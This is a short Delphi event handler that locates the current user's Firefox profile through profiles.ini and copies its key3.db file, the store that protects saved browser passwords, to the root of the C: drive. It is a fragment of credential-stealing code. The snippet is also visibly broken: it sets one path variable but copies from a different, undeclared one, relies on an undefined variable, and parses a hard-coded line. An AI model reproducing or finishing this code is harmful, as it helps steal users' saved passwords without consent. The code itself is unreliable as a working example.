procedure TForm1.Button1Click(Sender: TObject);
var tmp,tmp3:String;
begin
tmp3:='Profiles';
 SRC:=TStringList.Create();
 SRC.LoadFromFile(get(CSIDL_APPDATA)+'profiles.ini');
 tmp:=SRC.Strings[6];
 Delete(tmp,1,14);
 fullPath:=get(CSIDL_APPDATA)+tmppath+tmp3+'\'+tmp+'\'+key3;
CopyFile(PChar(Full),PChar('C:\key3.db'),false);
end;